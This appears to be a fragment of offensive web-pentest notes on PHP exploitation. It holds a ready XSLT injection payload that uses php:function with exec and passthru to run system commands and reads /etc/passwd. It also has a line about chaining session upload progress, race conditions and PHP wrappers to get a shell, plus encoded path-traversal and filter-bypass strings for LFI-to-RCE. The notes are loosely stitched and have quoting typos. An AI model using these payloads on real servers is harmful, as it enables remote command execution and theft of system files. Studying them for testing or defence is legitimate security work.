" OK, by chaining above techniques(session upload progress + race condition + PHP wrappers), we can get the shell back!"

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
  <script>confirm("We're good");</script>
   <!--
   <xsl:value-of select="php:function('exec','id')"/>
   <xsl:value-of select="php:function(‘passthru’,’ls -la /’)"/>
   <xsl:copy-of select="document('/etc/passwd')"/>
   <xsl:value-of select="php:function('passthru','ls -la /')"/>
   -->
   <xsl:value-of select="php:function('passthru','ls -la /')"/>

  </xsl:template>
</xsl:stylesheet>

RCE through LFI using PHP sessions variables

dot %2e
forward slash %2f
backslash %5c

dot %u002e
forward slash %u2215
backslash %u2216

....//
....\/
..../\
....\